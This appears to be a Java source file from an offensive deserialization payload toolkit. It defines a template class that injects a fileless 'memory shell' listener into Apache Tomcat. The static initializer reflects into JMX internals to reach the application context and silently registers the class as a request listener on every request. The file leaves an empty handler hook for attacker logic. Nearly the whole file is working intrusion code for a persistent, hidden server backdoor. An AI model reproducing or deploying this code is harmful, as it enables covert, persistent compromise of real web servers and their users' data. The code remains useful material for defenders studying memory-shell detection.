content: package org.su18.ysuserial.payloads.templates.memshell.tomcat;
  
  import com.sun.jmx.mbeanserver.NamedObject;
  import com.sun.jmx.mbeanserver.Repository;
  import org.apache.catalina.connector.Request;
  import org.apache.catalina.connector.RequestFacade;
  import org.apache.catalina.connector.Response;
  import org.apache.catalina.core.StandardContext;
  import org.apache.tomcat.util.modeler.Registry;
  
  import javax.management.DynamicMBean;
  import javax.management.MBeanServer;
  import javax.management.ObjectName;
  import javax.servlet.ServletRequestEvent;
  import javax.servlet.ServletRequestListener;
  import javax.servlet.http.HttpServletRequest;
  import javax.servlet.http.HttpServletResponse;
  import java.lang.reflect.Field;
  import java.util.Set;
  
  /**
   * 使用 JMX Bean 注入 Tomcat Listener 型内存马
   */
  public class TLMSFromJMX implements ServletRequestListener {
  
  	static {
  		try {
  			MBeanServer mbeanServer = Registry.getRegistry(null, null).getMBeanServer();
  			Field       field       = Class.forName("com.sun.jmx.mbeanserver.JmxMBeanServer").getDeclaredField("mbsInterceptor");
  			field.setAccessible(true);
  			Object obj = field.get(mbeanServer);
  
  			field = Class.forName("com.sun.jmx.interceptor.DefaultMBeanServerInterceptor").getDeclaredField("repository");
  			field.setAccessible(true);
  			Repository repository = (Repository) field.get(obj);
  
  			Set<NamedObject> objectSet = repository.query(new ObjectName("Catalina:host=localhost,name=NonLoginAuthenticator,type=Valve,*"), null);
  			if (objectSet.size() == 0) {
  				// springboot的jmx中为Tomcat而非Catalina
  				objectSet = repository.query(new ObjectName("Tomcat:host=localhost,name=NonLoginAuthenticator,type=Valve,*"), null);
  			}
  
  			for (NamedObject namedObject : objectSet) {
  				DynamicMBean dynamicMBean = namedObject.getObject();
  				field = Class.forName("org.apache.tomcat.util.modeler.BaseModelMBean").getDeclaredField("resource");
  				field.setAccessible(true);
  				obj = field.get(dynamicMBean);
  
  				field = Class.forName("org.apache.catalina.authenticator.AuthenticatorBase").getDeclaredField("context");
  				field.setAccessible(true);
  				StandardContext standardContext = (StandardContext) field.get(obj);
  
  				TLMSFromJMX listener = new TLMSFromJMX();
  				standardContext.addApplicationEventListener(listener);
  			}
  		} catch (Exception ignored) {
  		}
  	}
  
  	@Override
  	public void requestDestroyed(ServletRequestEvent servletRequestEvent) {
  	}
  
  	@Override
  	public void requestInitialized(ServletRequestEvent servletRequestEvent) {
  		try {
  			RequestFacade requestFacade = (RequestFacade) servletRequestEvent.getServletRequest();
  			Field         field         = requestFacade.getClass().getDeclaredField("request");
  			field.setAccessible(true);
  			Request  request  = (Request) field.get(requestFacade);
  			Response response = request.getResponse();
  			requestInitializedHandle(request, response);
  		} catch (Exception ignore) {
  		}
  	}
  
  	public void requestInitializedHandle(HttpServletRequest request, HttpServletResponse response) {
  	}
  }